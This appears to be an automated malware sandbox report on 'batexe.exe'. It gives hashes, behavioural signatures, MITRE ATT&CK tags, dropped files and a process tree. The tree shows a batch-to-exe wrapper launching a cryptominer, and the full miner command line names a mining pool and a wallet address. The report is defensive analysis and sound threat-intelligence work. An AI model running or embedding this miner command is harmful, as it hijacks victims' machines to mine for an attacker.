73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
294s
max time network
298s
platform
windows10-1703_x64
resource
win10-20240221-ja
resource tags

arch:x64arch:x86image:win10-20240221-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
23/02/2024, 18:44

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
2072	b2e.exe
3784	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
3784	cpuminer-sse2.exe
3784	cpuminer-sse2.exe
3784	cpuminer-sse2.exe
3784	cpuminer-sse2.exe
3784	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/3356-6-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3356 wrote to memory of 2072	3356	batexe.exe	74
PID 3356 wrote to memory of 2072	3356	batexe.exe	74
PID 3356 wrote to memory of 2072	3356	batexe.exe	74
PID 2072 wrote to memory of 4856	2072	b2e.exe	76
PID 2072 wrote to memory of 4856	2072	b2e.exe	76
PID 2072 wrote to memory of 4856	2072	b2e.exe	76
PID 4856 wrote to memory of 3784	4856	cmd.exe	78
PID 4856 wrote to memory of 3784	4856	cmd.exe	78

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3356
- C:\Users\Admin\AppData\Local\Temp\7705.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\7705.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\7705.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2072
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7947.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4856
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:3784

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\7705.tmp\b2e.exe

Filesize
3.9MB

MD5
b24f273f33d83dd02932cfb970dde45c

SHA1
64b8a3bce6d849f1881334d747112af5ab8aedde

SHA256
45f84217d6364f50690b26087b0c64c9742341713cfd3ce7d13a579eb9d353e2

SHA512
2797096086b0bbb64cf204e8a5a6e1be4a279f1f9083dc608590a4f72e3ca6bedb3a7b53f7b3694f7bcf8b2395db3e778c2cc122598a6e55a1e0a2cf57b66cba

Download Submit
C:\Users\Admin\AppData\Local\Temp\7705.tmp\b2e.exe

Filesize
3.9MB

MD5
3b2fda15404fd616601bcb70d10ae92e

SHA1
e90ab66861f78412d602eb84a8e9bfe5b3a9aa1c

SHA256
a184aeb079ee301b1b6a8bc55781de42a43589f4fc79eefe5a61daf62f4ca48e

SHA512
1e1fb1fafe2e0f62fd00b1a548aa714a89e1fed601ed3ed73bd376ecadf3d80a01f22f6d397829218d6ca14f95370046d0040952e109cd7f2827ca0eeb46711c

Download Submit
C:\Users\Admin\AppData\Local\Temp\7947.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.6MB

MD5
139fc4e638b4af359d8ce880405a230a

SHA1
4baea701c42d1de946c1d9a47f5b2cbc6d452206

SHA256
dfd55ef56b6e97dadce8b5437cfdcfdd482908763012fee581eda734b99d6909

SHA512
b617b5e8f13950b87c35d0879774c82f52105442230325197af683d540afa017f5914606c56eac025064df53395f35560afc6f8a30634c57e5943d3f82e5d99a

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.5MB

MD5
71efa0e96073365a2478e71ac0869db1

SHA1
3f9a170bc212f869dc0ddfcf07cb7d6758678488

SHA256
f72c88d8ca3a433455a201ed225d91301e86bc0e858754bbc7eef83ff3b66b31

SHA512
929fd285c5d80314bc45ecbb59c338897a6eccaf195827dfc07acc3a8beb8efaab23afe1cfbbb53247c9952eb2660de547ae82edeca99b9d1391c7dc33c237dd

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.8MB

MD5
c33399ef70ce364f9991d4026a0276aa

SHA1
efd4200ad02f2c5183e16a5144508cb4321219cf

SHA256
8bb6d9046a8ff9fa56ce7ab4fd8b8767c2d3ce56b3a12edcca4b26b9119c251c

SHA512
1f82e30cbc6e35b57de558a45ace3f4445097003306fb35772e5f143db23d546c7cff710e5f7167bd502562e28373a42909b3ac7f8846aa64464b69391fe78d1

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.6MB

MD5
b3e92439469a8e8a5d8c64f2c0b4a59f

SHA1
bc0df0ebdf747922f3abd1ec33f80e983b1e9a56

SHA256
1439bee1a7ba1ea74004b4181705012ab1b8d02ac8f0249db22dfe0b57537606

SHA512
d45026f8036db81095adea76c3c4ffae8c96f1dfd147bc5f8d9e14265cc1141552756acc0f370a394295954831ba725e6d4d82d841e7b8a9b64a022e94a11204

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.6MB

MD5
4636617061db30681c6a0cf725e55741

SHA1
3e3d4f40947af40a2a9095a2eea897a108933f8c

SHA256
c80cae1d7365c202057b07d2db3148db3cd6073a4a3b0b5b853a01049ecca462

SHA512
ddba662d147a2762e0f2f53f9854f168e9fbc90ffa781ed6d2a336f8c09434d5a97242525b13dd411b77d71eb639b4875e9ab12d7de071732b5391034e00c667

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/2072-5-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2072-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3356-6-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/3784-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/3784-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3784-43-0x0000000062330000-0x00000000623C8000-memory.dmp

Filesize
608KB

Download
memory/3784-44-0x0000000001140000-0x00000000029F5000-memory.dmp

Filesize
24.7MB

Download
memory/3784-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3784-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3784-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3784-42-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/3784-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3784-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3784-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3784-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3784-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3784-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3784-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download